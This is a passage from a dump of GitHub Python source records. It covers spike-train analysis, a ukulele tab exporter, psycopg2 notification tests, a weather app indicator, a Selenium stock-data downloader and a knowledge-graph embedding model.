savitzky_golay(spikes_in_bin, 9, 3)\n if use_zscore:\n response_mat.append(zscore(norm_curve))\n else:\n response_mat.append(norm_curve/np.median(norm_curve[:20]))\n return np.array(response_mat)\n\n\ndef create_psth_matrix_for_pca(all_neurons_spike_times, event_dic,bad_elec_list=[]):\n matrix_dic = []\n # taste_event_amount = {'water': 0, 'sugar': 0, 'nacl': 0, 'CA': 0}\n bin_amount = 5//0.05\n for taste in ('water','sugar','nacl','CA'):\n for event in event_dic[taste]:\n all_neural_responses_for_event = []\n # taste_event_amount[taste] += 1\n for neural_spike_times in all_neurons_spike_times:\n if neural_spike_times[0] not in bad_elec_list:\n spikes = [neural_spike_times[2][i] - event for i in range(len(neural_spike_times[2])) if -1 < neural_spike_times[2][i] - event < 4]\n hist1, bin_edges = np.histogram(spikes, int(bin_amount), (-1, 4))\n spikes_in_bin = hist1 / 0.05\n all_neural_responses_for_event.append(spikes_in_bin)\n matrix_dic.append(all_neural_responses_for_event)\n matrix_dic = np.array(matrix_dic)\n # print(taste_event_amount)\n return matrix_dic\n\ndef seperate_tastes_with_without_laser(taste_events, laser_times, laser_start):\n tastes_with_without_laser = {}\n tastes_with_without_laser['with laser'] = {}\n tastes_with_without_laser['without laser'] = {}\n for taste in taste_events.keys():\n print('taste:',taste)\n tastes_with_without_laser['with laser'][taste] = []\n tastes_with_without_laser['without laser'][taste] = []\n for event in taste_events[taste]:\n print(taste_events[taste])\n print('event time:',event,'nearest laser time:',find_nearest(laser_times, event), 'difference is:',(find_nearest(laser_times, event) - event))\n if laser_start - 5 < find_nearest(laser_times, event) - event < laser_start + 5:\n tastes_with_without_laser['with laser'][taste].append(event)\n # print('classified as with laser')\n else:\n tastes_with_without_laser['without laser'][taste].append(event)\n # print('classified as without laser')\n # for key1 in tastes_with_without_laser.keys():\n # print key1\n # for key2 in tastes_with_without_laser[key1].keys():\n # print '%s: %s' % (key2, len(tastes_with_without_laser[key1][key2]))\n return tastes_with_without_laser","repo_name":"elor-arieli/moran_lab","sub_path":"pickle_data_analysis/spike_train_functions.py","file_name":"spike_train_functions.py","file_ext":"py","file_size_in_byte":12348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21091855201","text":"import io,sys\nimport xml.etree.ElementTree as ET\nimport argparse\n\nclass UkeTab:\n\n def convertToText(self,infile,outfile):\n \"\"\" Convert a musescore uke tab into text.\n infile = source file (.mscx)\n outfile = dest text. \"-\" = stdout\"\"\"\n if (infile is None or outfile is None):\n self.printhelp()\n return\n tree=ET.parse(infile)\n if (outfile==\"-\"):\n dest=sys.stdout\n else:\n dest=open(outfile,\"w\")\n try:\n self.process(tree,dest)\n finally:\n if not(outfile is sys.stdout):\n dest.close()\n\n def process(self,tree,dest):\n \"\"\" Process mscx to text \"\"\"\n self.tree=tree\n root=tree.getroot()\n self.root=root\n self.dest = dest\n if root.tag!=\"museScore\":\n self.adderr(\"Not a musescore file.\")\n return\n self.addln(\"Testing output: \",root,root.tag)\n for staff in root.findall(\".//Score/Staff\"):\n if self.output_type==\"chords\":\n self.chordsLyrics(staff)\n else:\n self.processStaff(staff)\n\n def processStaff(self,staff):\n \"\"\" Process staff Element \"\"\"\n self.addln(staff)\n self.output_staff=[\"\",\"\",\"\",\"\"]\n self.getminlength(staff)\n self.output_lyrics=\"\"\n measurelist=staff.findall(\"./Measure\")\n m=0\n startrepeat=0\n loop=0\n while m<len(measurelist):\n measure=measurelist[m]\n m+=1\n if measure.find(\"startRepeat\")!=None:\n startrepeat=m-1\n #for measure in staff.findall(\"./Measure\"):\n mystaff=[\"|\",\"|\",\"|\",\"|\"]\n lyrics=\"\"\n for voice in measure.findall(\"voice\"):\n for child in voice:\n if child.tag==\"Chord\" or child.tag==\"Rest\":\n chord=child\n duration=self.getvalue(chord,\"durationType\")\n space=self.fillnote(\"\",duration)\n mychord=[space,space,space,space]\n if chord.tag==\"Chord\":\n for note in chord.findall(\"./Note\"):\n astring=self.getvalue(note,\"string\")\n afret=self.getvalue(note,\"fret\")\n snum=int(astring)\n if not(self.isTie(note)):\n mychord[snum]=self.fillnote(afret,duration)\n lyric_search=\"Lyrics\"\n if loop>0:\n lyric_search=\"Lyrics[no='%d']\" % loop\n chord_lyric=self.getvalue(chord,lyric_search+\"/text\")\n if not(chord_lyric is None):\n syllabic=self.getvalue(chord,lyric_search+\"/syllabic\")\n sep = \"-\" if (syllabic==\"begin\" or syllabic==\"middle\") else \" \"\n lyrics=self.addLyric(mystaff,lyrics,chord_lyric,sep)\n for i in range(len(mychord)):\n mystaff[i]+=mychord[i]\n self.fixLength(mystaff,lyrics)\n \n if len(mystaff[0])+len(self.output_staff[0])>=110: self.dumpstaff()\n self.addMeasure(mystaff,lyrics)\n rpt=measure.find(\"endRepeat\")\n if not(rpt is None):\n rptcount=int(rpt.text)\n if (loop<rptcount-1):\n loop+=1\n m=startrepeat\n else:\n loop=0\n self.dumpstaff()\n\n def chordsLyrics(self,staff):\n self.addln(\"Staff: \"+self.getStaffName(staff))\n self.output_lyrics=\"\"\n chords=\"\"\n lyrics=\"\"\n for measure in staff.findall(\"./Measure\"):\n for voice in measure.findall(\"voice\"):\n for child in voice:\n if child.tag==\"Chord\" or child.tag==\"Rest\":\n chord=child\n chord_lyric=self.getvalue(chord,\"Lyrics/text\")\n \n if not(chord_lyric is None):\n syllabic=self.getvalue(chord,\"Lyrics/syllabic\")\n sep = \"\" if (syllabic==\"begin\" or syllabic==\"middle\") else \" \"\n lyrics+=chord_lyric+sep\n lyrics=self.matchlen(lyrics,chords)\n \n elif child.tag==\"Harmony\":\n chordname=self.getChordName(child)\n chords=self.matchlen(chords,lyrics)\n if not(chords==\"\" or chords.endswith(\" \")):\n chords+=\" \"\n chords+=chordname\n if len(lyrics)>80:\n self.addln(chords)\n self.addln(lyrics)\n lyrics=\"\"\n chords=\"\"\n self.addln(chords)\n self.addln(lyrics)\n \n\n def getStaffName(self,staff):\n id=staff.attrib['id']\n #track=self.root.find('./Score/Part[Staff[@id=\"'+id+'\"]]/trackName')\n track=self.root.find('./Score/Part/Staff[@id=\"'+id+'\"]/../trackName')\n name=id+\" \"+track.text if not(track is None) else str(id)\n return name\n\n def getChordName(self,harmony):\n croot=self.getvalue(harmony,\"root\")\n cname=self.getvalue(harmony,\"name\")\n if cname is None: cname=\"\"\n if croot is None:\n return \"\"\n else:\n chordnames={8:\"Gb\",9:\"Db\",10:\"Ab\",11:\"Eb\",12:\"Bb\",13:\"F\",14:\"C\",15:\"G\",16:\"D\",17:\"A\",18:\"E\",19:\"B\",20:\"F#\",21:\"C#\",22:\"G#\"}\n nroot=int(croot)\n if nroot in chordnames:\n croot=chordnames[nroot]\n return croot+cname\n \n def dumpstaff(self):\n strings = ['A','E','C','G']\n for i in range(len(self.output_staff)):\n self.addln(strings[i]+self.output_staff[i]+\"|\")\n self.output_staff[i]=\"\"\n if len(self.output_lyrics)>0:\n self.addln(\" \"+self.output_lyrics)\n self.output_lyrics=\"\"\n self.addln()\n \n def fillnote(self,value,duration):\n ln=max((self.calclength(duration)-self.minlen)+1,1)\n result=value\n while len(result)<ln: result+=\"-\"\n return result\n\n def matchlen(self,target,source):\n while len(target)<len(source): target+=\" \"\n return target\n \n def isTie(self,note):\n nd=note.find(\"Spanner[@type='Tie']/prev\")\n return not(nd is None)\n \n def addLyric(self,mystaff,lyrics,lyric,sep):\n while len(lyrics)<len(mystaff[0]): lyrics+=\" \"\n lyrics+=lyric.strip()+sep\n return lyrics\n\n def addMeasure(self,mystaff,lyrics):\n if (lyrics!=\"\"):\n while len(self.output_lyrics)<len(self.output_staff[0]):\n self.output_lyrics+=\" \"\n for i in range(len(mystaff)):\n self.output_staff[i]+=mystaff[i]\n self.output_lyrics+=lyrics\n \n def fixLength(self,mystaff,lyrics):\n while len(mystaff[0])<len(lyrics):\n for i in range(len(mystaff)):\n mystaff[i]+=\"-\"\n \n def getvalue(self,node,tag):\n \"\"\" Return the text value of a child element, or None if not found \"\"\"\n child=node.find(tag)\n if child is None: return None\n return child.text\n\n def getminlength(self,staff):\n self.minlen=self.calclength('whole')\n for duration in staff.findall(\".//durationType\"):\n self.minlen=min(self.minlen,self.calclength(duration.text))\n\n def calclength(self,duration):\n ix=0\n if duration==\"measure\":\n duration=\"whole\"\n try:\n ix=['16th','eighth','quarter','half','whole'].index(duration)\n except ValueError:\n ix=2\n return ix\n \n def addln(self,*msg):\n \"\"\" Output line to destination file. \"\"\"\n print(*msg,file=self.dest)\n\n def adderr(self,*msg):\n print(*msg,file=sys.stderr)\n \n\n def printHelp(self):\n \"\"\" Print basic usage \"\"\"\n print(\"Usage: python -m uketab infile outfile\")\n return\n\n def parseArguments(self,arglist=None):\n parser=argparse.ArgumentParser(description=\"Ukulele tab exporter\")\n parser.add_argument('--option',choices=['tab','chords'],default='tab')\n parser.add_argument('source')\n parser.add_argument('dest',nargs='?',default='-')\n result=parser.parse_args(arglist)\n self.output_type=result.option\n print(self.output_type)\n print(\"From=\",result.source,\" Dest\",result.dest)\n self.convertToText(result.source,result.dest)\n \n\n\nif __name__==\"__main__\":\n uk=UkeTab()\n #src=r\"C:\\Users\\robbi\\Dropbox\\Public\\Scores\\Under_Your_Spell_Standing_Reprise.mscx\"\n #dest=\"-\"\n uk.parseArguments()\n #uk.output_type=\"chords\"\n #uk.convertToText(src,\"-\")\n \n \n","repo_name":"rjmatthews62/uketab","sub_path":"uketab.py","file_name":"uketab.py","file_ext":"py","file_size_in_byte":9086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27791485714","text":"from itertools import product\n\nN,M,X=map(int,input().split())\nC = [0]*N\nA=[]\nfor i in range(N):\n l = list(map(int, input().split()))\n C[i]=l[0]\n A.append(l[1:])\n\n# #A[[2, 2, 4], [8, 7, 9], [2, 3, 9]]\nflag=False\nbefore_price=float('inf')\nfor bits_list in product((0,1),repeat=N):#(0,1,0)\n price=0\n understood=[0]*M\n for index,bit in enumerate(bits_list):\n if bit==1:\n price+=C[index]\n for i in range(M):\n understood[i]+=A[index][i]\n ##理解度確認\n count=0\n for i in range(M):\n if understood[i]>=X:\n count+=1\n else:\n break\n if count==M:\n flag=True\n before_price=min(price, before_price)\nif flag==False:\n print(-1)\nelse:\n print(before_price)\n\n\n\n","repo_name":"umzw/AtCoder","sub_path":"167 C- Skill Up.py","file_name":"167 C- Skill Up.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"811988145","text":"# A, B, and C are three sides of a triangle\n\n# s = A + B + C / 2\n\n# area =√(s(s-a)*(s-b)*(s-c))\n\n# to find the area of the triangle\n# a = 5\n# b = 3\n# c = 5\n\n# Take inputs from the user\na = float(input(\"Enter first side: \"))\nb = float(input(\"Enter second side: \"))\nc = float(input(\"Enter third side: \"))\n\n\n# calculate the semi-perimeter\ns = (a + b + c) / 2\n\n# calculate the area of the triangle\narea = (s*(s-a)*(s-b)*(s-c)) ** 0.5\n\nprint(f'The area of the triangle is {area}')\n","repo_name":"Nikhil235/Python","sub_path":"Intoduction/area_of_triangle.py","file_name":"area_of_triangle.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5562323702","text":"# coding=utf-8\n# encoding=utf-8\nfrom pymongo import MongoClient\n\n\nclass DataPersistence(object):\n conn = MongoClient('localhost', 27017)\n db = conn.law\n collection = db.law1\n\n def save(self, dic):\n try:\n self.collection.save(dic)\n print ('数据插入成功')\n except Exception as e:\n print (e)\n\n def search(self):\n try:\n result = self.collection.find()\n print (result)\n except Exception as e:\n print(e)","repo_name":"mayJJ/lawyer","sub_path":"DataPersistence.py","file_name":"DataPersistence.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37168551271","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io\nimport pickle\n\nmat = scipy.io.loadmat('mnist_small.mat')\n\nK = 2\nD = 784\nN = 10000\n\nX = mat['X'] #N*D matrix\nZ = np.random.rand(N,K) #N*K matrix,initialize with random values\nW = np.zeros((D,K)) #D*K matrix\nprint(X.shape)\nprint(Z.shape)\nprint(W.shape)\n\nnum_iterations = 0\nwhile(num_iterations<500):\n\tW = (np.dot(np.linalg.inv(np.dot(Z.T,Z)),np.dot(Z.T,X))).T\n\tZ = np.dot(np.dot(X,W),np.linalg.inv(np.dot(W.T,W)))\n\tnum_iterations += 1\n\n\nf = open(b\"embeddings_pca.obj\",\"wb\")\npickle.dump(Z,f)\n","repo_name":"aman9875/cs771","sub_path":"assignment 4/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"23689292142","text":"from libcloud.storage.types import Provider\nfrom libcloud.storage.providers import get_driver\n\nFILE_PATH = \"/home/user/myfile.tar.gz\"\n\ncls = get_driver(Provider.SCALEWAY)\n\ndriver = cls(\"api key\", \"api secret key\", region=\"fr-par\")\n\ncontainer = driver.get_container(container_name=\"<your-bucket-name>\")\n\nextra = {\n \"meta_data\": {\"owner\": \"myuser\", \"created\": \"2001-05-25\"},\n \"acl\": \"public-read\",\n}\n\nwith open(FILE_PATH, \"rb\") as iterator:\n obj = driver.upload_object_via_stream(\n iterator=iterator, container=container, object_name=\"backup.tar.gz\", extra=extra\n )\n","repo_name":"apache/libcloud","sub_path":"docs/examples/storage/scaleway/upload_example.py","file_name":"upload_example.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":1969,"dataset":"github-code","pt":"37"} +{"seq_id":"71779199787","text":"#!/usr/bin/env python\nimport unittest\nimport warnings\n\nimport psycopg2\nfrom psycopg2 import extensions\n\nimport time\nimport select\nimport signal\nfrom subprocess import Popen, PIPE\n\nimport sys\nif sys.version_info < (3,):\n import tests\nelse:\n import py3tests as tests\n\n\nclass NotifiesTests(unittest.TestCase):\n\n def setUp(self):\n self.conn = psycopg2.connect(tests.dsn)\n\n def tearDown(self):\n self.conn.close()\n\n def autocommit(self, conn):\n \"\"\"Set a connection in autocommit mode.\"\"\"\n conn.set_isolation_level(extensions.ISOLATION_LEVEL_AUTOCOMMIT)\n\n def listen(self, name):\n \"\"\"Start listening for a name on self.conn.\"\"\"\n curs = self.conn.cursor()\n curs.execute(\"LISTEN \" + name)\n curs.close()\n\n def notify(self, name, sec=0, payload=None):\n \"\"\"Send a notification to the database, eventually after some time.\"\"\"\n if payload is None:\n payload = ''\n else:\n payload = \", %r\" % payload\n\n script = (\"\"\"\\\nimport time\ntime.sleep(%(sec)s)\nimport psycopg2\nimport psycopg2.extensions\nconn = psycopg2.connect(%(dsn)r)\nconn.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)\nprint conn.get_backend_pid()\ncurs = conn.cursor()\ncurs.execute(\"NOTIFY \" %(name)r %(payload)r)\ncurs.close()\nconn.close()\n\"\"\"\n % { 'dsn': tests.dsn, 'sec': sec, 'name': name, 'payload': payload})\n\n return Popen([sys.executable, '-c', script], stdout=PIPE)\n\n def test_notifies_received_on_poll(self):\n self.autocommit(self.conn)\n self.listen('foo')\n\n proc = self.notify('foo', 1)\n\n t0 = time.time()\n ready = select.select([self.conn], [], [], 5)\n t1 = time.time()\n self.assert_(0.99 < t1 - t0 < 4, t1 - t0)\n\n pid = int(proc.communicate()[0])\n self.assertEqual(0, len(self.conn.notifies))\n self.assertEqual(extensions.POLL_OK, self.conn.poll())\n self.assertEqual(1, len(self.conn.notifies))\n self.assertEqual(pid, self.conn.notifies[0][0])\n self.assertEqual('foo', self.conn.notifies[0][1])\n\n def test_many_notifies(self):\n self.autocommit(self.conn)\n for name in ['foo', 'bar', 'baz']:\n self.listen(name)\n\n pids = {}\n for name in ['foo', 'bar', 'baz', 'qux']:\n pids[name] = int(self.notify(name).communicate()[0])\n\n self.assertEqual(0, len(self.conn.notifies))\n self.assertEqual(extensions.POLL_OK, self.conn.poll())\n self.assertEqual(3, len(self.conn.notifies))\n\n names = dict.fromkeys(['foo', 'bar', 'baz'])\n for (pid, name) in self.conn.notifies:\n self.assertEqual(pids[name], pid)\n names.pop(name) # raise if name found twice\n\n def test_notifies_received_on_execute(self):\n self.autocommit(self.conn)\n self.listen('foo')\n pid = int(self.notify('foo').communicate()[0])\n self.assertEqual(0, len(self.conn.notifies))\n self.conn.cursor().execute('select 1;')\n self.assertEqual(1, len(self.conn.notifies))\n self.assertEqual(pid, self.conn.notifies[0][0])\n self.assertEqual('foo', self.conn.notifies[0][1])\n\n def test_notify_object(self):\n self.autocommit(self.conn)\n self.listen('foo')\n self.notify('foo').communicate()\n self.conn.poll()\n notify = self.conn.notifies[0]\n self.assert_(isinstance(notify, psycopg2.extensions.Notify))\n\n def test_notify_attributes(self):\n self.autocommit(self.conn)\n self.listen('foo')\n pid = int(self.notify('foo').communicate()[0])\n self.conn.poll()\n self.assertEqual(1, len(self.conn.notifies))\n notify = self.conn.notifies[0]\n self.assertEqual(pid, notify.pid)\n self.assertEqual('foo', notify.channel)\n self.assertEqual('', notify.payload)\n\n def test_notify_payload(self):\n if self.conn.server_version < 90000:\n warnings.warn(\"server version %s doesn't support notify payload: skipping test\"\n % self.conn.server_version)\n return\n self.autocommit(self.conn)\n self.listen('foo')\n pid = int(self.notify('foo', payload=\"Hello, world!\").communicate()[0])\n self.conn.poll()\n self.assertEqual(1, len(self.conn.notifies))\n notify = self.conn.notifies[0]\n self.assertEqual(pid, notify.pid)\n self.assertEqual('foo', notify.channel)\n self.assertEqual('Hello, world!', notify.payload)\n\n def test_notify_init(self):\n n = psycopg2.extensions.Notify(10, 'foo')\n self.assertEqual(10, n.pid)\n self.assertEqual('foo', n.channel)\n self.assertEqual('', n.payload)\n (pid, channel) = n\n self.assertEqual((pid, channel), (10, 'foo'))\n\n n = psycopg2.extensions.Notify(42, 'bar', 'baz')\n self.assertEqual(42, n.pid)\n self.assertEqual('bar', n.channel)\n self.assertEqual('baz', n.payload)\n (pid, channel) = n\n self.assertEqual((pid, channel), (42, 'bar'))\n\n def test_compare(self):\n data = [(10, 'foo'), (20, 'foo'), (10, 'foo', 'bar'), (10, 'foo', 'baz')]\n for d1 in data:\n for d2 in data:\n n1 = psycopg2.extensions.Notify(*d1)\n n2 = psycopg2.extensions.Notify(*d2)\n self.assertEqual((n1 == n2), (d1 == d2))\n self.assertEqual((n1 != n2), (d1 != d2))\n\n def test_compare_tuple(self):\n from psycopg2.extensions import Notify\n self.assertEqual((10, 'foo'), Notify(10, 'foo'))\n self.assertEqual((10, 'foo'), Notify(10, 'foo', 'bar'))\n self.assertNotEqual((10, 'foo'), Notify(20, 'foo'))\n self.assertNotEqual((10, 'foo'), Notify(10, 'bar'))\n\n def test_hash(self):\n from psycopg2.extensions import Notify\n self.assertEqual(hash((10, 'foo')), hash(Notify(10, 'foo')))\n self.assertNotEqual(hash(Notify(10, 'foo', 'bar')),\n hash(Notify(10, 'foo')))\n\ndef test_suite():\n return unittest.TestLoader().loadTestsFromName(__name__)\n\nif __name__ == \"__main__\":\n unittest.main()\n\n","repo_name":"Ademan/psycopg2","sub_path":"tests/test_notify.py","file_name":"test_notify.py","file_ext":"py","file_size_in_byte":6133,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"20956359739","text":"import re\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom time import sleep\nimport pandas as pd\nimport datetime\n\n# epoch timestamp: 1483228800\nstart_from = datetime.datetime(2017,1,1,8,0,0).strftime('%s') \n\ngafata = ['^GSPC', 'GOOG', 'AAPL', 'FB', 'AMZN', '0700.HK', 'BABA']\nsource_data_path = \"/Users/data/\"\n\nchrome_options = Options()\nchrome_options.add_argument('--headless')\nchrome_options.add_argument('--disable-gpu')\n# 设置下载地址\nprefs = {'profile.default_content_settings.popups': 0, 'download.default_directory': f'{source_data_path}'}\nchrome_options.add_experimental_option('prefs', prefs)\n\ndriver = webdriver.Chrome('/Users/hantao/Documents/践行群内容/extract-python/chromedriver', options = chrome_options)\n\ndriver = webdriver.Chrome('/usr/local/bin/chromedriver', options = chrome_options)\n\n# get all csv files\ndriver.get(f'https://finance.yahoo.com/quote/{gafata[0]}/history')\nsleep(5)\n\ndownload_link = driver.find_element_by_xpath(\"// a[. // span[text() = 'Download Data']]\").get_attribute(\"href\")\nfor symbol in gafata:\n period1_changed = re.sub(r'period1=(\\d+)', 'period1=1483228800', download_link)\n # if interval=1d, then stocks from various global exchanges would not align to each other in terms of date.\n interval_changed = re.sub(r'interval=(.*)&', 'interval=1wk&', period1_changed)\n dataURL = re.sub(r'download\\/.*\\?', f'download/{symbol}?', interval_changed)\n driver.get(dataURL)\n # 避免文件还没生成就解析文件\n sleep(5)\n\n","repo_name":"sodexx7/extract-histical-data-from-yahoo-finance","sub_path":"gafat_extract.py","file_name":"gafat_extract.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"12406598398","text":"import requests\n\ntmdb_api_key = \"8c0bf74f3e2ad8fde17e6070d4058723\"\nsearch_movie_url = \"https://api.themoviedb.org/3/search/movie\"\nmovie_image_url = \"https://image.tmdb.org/t/p/w500\"\n\n# params = {\n# \"api_key\": tmdb_api_key,\n# \"query\": \"phone booth\"\n# }\n#\n# response = requests.get(url=search_movie_url, params=params)\n# data = response.json()[\"results\"]\n# print(data)\n\n# for x in data:\n# print(f\"{x['title']} - {x['release_date']}\")\n\n\nresponse = requests.get(url=\"https://api.themoviedb.org/3/movie/1817\", params={\"api_key\": tmdb_api_key})\ndata = response.json()\n# print(data)\n\nmovie = {\n \"title\": data[\"title\"],\n \"year\": data[\"release_date\"].split(\"-\")[0],\n \"img_url\": movie_image_url + data[\"poster_path\"],\n \"description\": data[\"overview\"]\n}\n\nprint(movie)\n\n\n\n\n","repo_name":"developer-aaronlee/flask-my-top10-movies","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42507910905","text":"class User:\n def __init__(self, name, id):\n self.name = name\n self.id = id\n self.followers = 0\n self.following = 0\n \n def follow(self, user):\n user.followers += 1\n self.following += 1\n\n\nuser1 =User(\"Param\", 1)\nuser2 =User(\"Anjali\", 2)\n\nprint(user1.name)\n\nprint(user1.followers)\nuser1.follow(user2)\nprint(user1.followers)","repo_name":"Paramvir12121/100-Days_of_Python-Beginner","sub_path":"day17_quiz/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41313488877","text":"#!/usr/bin/env python3\nimport signal\nimport os\nimport requests\nimport gi\ngi.require_version('Gtk', '3.0')\ngi.require_version('AppIndicator3', '0.1')\nfrom gi.repository import Gtk as gtk\nfrom gi.repository import AppIndicator3 as appindicator\nfrom gi.repository import GLib as glib\n\n\nAPPINDICATOR_ID = 'myappindicator'\nREPEAT_TIME_MS = 30000\nKELVINTOCELSIUS = 273.16\n\n\nclass WeatherIndicator:\n attributes_prefix = ['', 'Sky: ', 'Temperature: ', 'Pressure: ', 'Humidity: ', 'Wind Speed: ']\n\n def __init__(self, name=None, icon=None):\n self.path = os.path.abspath(os.path.dirname(__file__))\n\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n\n if name is None:\n self.name = \"WeatherIndicator\"\n else:\n self.name = name\n\n if icon is None:\n self.icon = gtk.STOCK_INFO\n else:\n self.icon = icon\n\n self.indicator = appindicator.Indicator.new(\n self.name, self.icon,\n appindicator.IndicatorCategory.SYSTEM_SERVICES\n )\n self.indicator.set_status(appindicator.IndicatorStatus.ACTIVE)\n\n weather_data, icon_path = self.get_weather_data_from_request()\n menu, menu_items_to_update = self.build_menu(weather_data)\n\n self.indicator.set_menu(menu)\n self.indicator.set_label(weather_data[2], \"\")\n self.indicator.set_icon(icon_path)\n\n glib.timeout_add(REPEAT_TIME_MS, self.update_indicator, menu_items_to_update)\n gtk.main()\n\n @staticmethod\n def get_ip_from_request():\n raw_json = requests.get('https://ifconfig.co/json').json()\n ip = raw_json['ip']\n return ip\n\n @staticmethod\n def get_location_from_request(ip_address):\n api_address = 'http://api.ipstack.com/'\n personal_api_key = '8810a19a176c8c056a47d73fdd70e70f'\n url = api_address + ip_address + '?access_key=' + personal_api_key\n raw_json_data = requests.get(url).json()\n country = raw_json_data['country_name']\n city = raw_json_data['city']\n if city is None:\n city = raw_json_data['location']['capital']\n\n return city, country\n\n def get_weather_data_from_request(self):\n try:\n host_ip = self.get_ip_from_request()\n except:\n print(\"Unable to get ip from request\")\n\n city, country = self.get_location_from_request(host_ip)\n api_address = 'http://api.openweathermap.org/data/2.5/weather?appid=ca428a05cb62822c904d1abb2257ba16&q='\n url = api_address + city\n location = city + ', ' + country\n raw_data_from_api = requests.get(url).json()\n sky = raw_data_from_api['weather'][0]['main']\n temperature = round(raw_data_from_api['main']['temp'] - KELVINTOCELSIUS, 1)\n temperature = str(temperature) + ' °C'\n pressure = raw_data_from_api['main']['pressure']\n pressure = str(pressure) + ' hPa'\n humidity = raw_data_from_api['main']['humidity']\n humidity = str(humidity) + ' %'\n wind_speed = raw_data_from_api['wind']['speed']\n wind_speed = str(wind_speed) + ' m/s'\n icon_path = os.path.dirname(os.path.realpath(__file__)) + \"/icons/\" + raw_data_from_api['weather'][0][\n 'icon'] + \".png\"\n weather_data = [location, sky, temperature, pressure, humidity, wind_speed]\n return weather_data, icon_path\n\n def build_menu(self, attributes):\n menu = gtk.Menu()\n\n menu_items = []\n for i in range(0, len(attributes)):\n new_item = gtk.MenuItem(self.attributes_prefix[i] + attributes[i])\n menu.append(new_item)\n menu_items.append(new_item)\n\n item_quit = gtk.MenuItem('Quit')\n item_quit.connect('activate', quit)\n menu.append(item_quit)\n menu.show_all()\n\n return menu, menu_items\n\n def update_indicator(self, menu_items):\n try:\n weather_data, icon_path = self.get_weather_data_from_request()\n self.indicator.set_label(weather_data[2], \"\")\n self.indicator.set_icon(icon_path)\n for i in range(0, len(weather_data)):\n menu_items[i].set_label(self.attributes_prefix[i] + weather_data[i])\n\n print(weather_data[2])\n except:\n print(\"Weather not updated.\")\n\n return True\n\n\nif __name__ == \"__main__\":\n weatherIndicator = WeatherIndicator('Weather indicator', os.path.dirname(os.path.realpath(__file__)) + \"/icons/contrast.png\")\n","repo_name":"wjcwleklinski/WeatherPanelIndicator","sub_path":"weather_indicator.py","file_name":"weather_indicator.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20525946293","text":"import torch\nfrom torch import nn\n\n\nclass HarmonNet(nn.Module):\n def __init__(self, no_entities, no_relationships, device, encoding_dim=10, lambda_=1.,):\n super().__init__()\n torch.manual_seed(42)\n self.NO_ENTITIES = no_entities\n self.NO_RELATIONSHIPS = no_relationships\n self.ENCODING_DIM = encoding_dim\n self.entities_embedding = nn.Embedding(no_entities, encoding_dim)\n self.relation_embedding = nn.Embedding(no_relationships, encoding_dim)\n self.W = torch.nn.Parameter(torch.rand(self.ENCODING_DIM, self.ENCODING_DIM))\n self.lambda_ = lambda_\n self.b = torch.nn.Parameter(torch.rand(self.ENCODING_DIM, requires_grad=True))\n self.rnn = torch.nn.RNN(input_size=encoding_dim, hidden_size=1, num_layers=1, nonlinearity='relu')\n self.loss_func = torch.nn.LogSoftmax(dim=1)\n self.device = device\n\n def loss(self, y_pred):\n \"\"\"\n compute the batch loss\n \"\"\"\n softmax = -self.loss_func(y_pred)\n result = torch.sum(softmax[:, 0])\n return result\n\n def forward(self, samples):\n \"\"\"\n Deal with a single train item -> batch\n samples [(e1,r,e2), ...]\n \"\"\"\n e1s, rs, e2s = samples[:, :, 0], samples[:, :, 1], samples[:, :, 2]\n # assert e1s.shape == (samples.shape[0], samples.shape[1])\n entity_1 = self.entities_embedding(e1s)\n entity_2 = self.entities_embedding(e2s)\n r = self.relation_embedding(rs)\n x = self.harmonic_holograhpic_embedding(entity_1, r, entity_2)\n batch_result = self.score(x)\n return batch_result\n\n def harmonic_holograhpic_embedding(self, e1, r, e2):\n return r * self._circular_correl(e1, e2)\n\n def _circular_correl(self, e1, e2):\n ccorel = torch.irfft(torch.conj(torch.rfft(e1, 1, onesided=False)) * torch.rfft(e2, 1, onesided=False),\n 1, onesided=False)\n return ccorel\n\n def _2d_norm_batch(self, x):\n \"\"\"\n norm based on last dimension\n \"\"\"\n result = torch.einsum('...k,...k', x, x)\n return result\n\n def H(self, h, x):\n diff = h - x\n Wsym = (self.W + self.W.t()).to(self.device)\n hW = torch.einsum('...ij,jk', h, Wsym)\n result = torch.einsum('ijk,ikj->ij', hW, h.transpose(1, 2)) + \\\n torch.einsum('...k,k', h, self.b) - \\\n self.lambda_ * self._2d_norm_batch(diff)\n # assert result.shape == torch.Size([x.shape[0], x.shape[1]])\n return result\n\n def muy(self, x):\n Wsym = self.W + self.W.t()\n V = Wsym - (self.lambda_ * torch.eye(self.ENCODING_DIM)).to(self.device)\n V = V.inverse()\n r = torch.einsum('ijk,kt', -0.5 * self.b + self.lambda_ * x, V)\n # assert r.shape == x.shape\n # for i in range(x.shape[0]):\n # assert (-0.5 * self.b + self.lambda_ * x[i]).mm(V).allclose(r[i],atol=3e-7)\n return 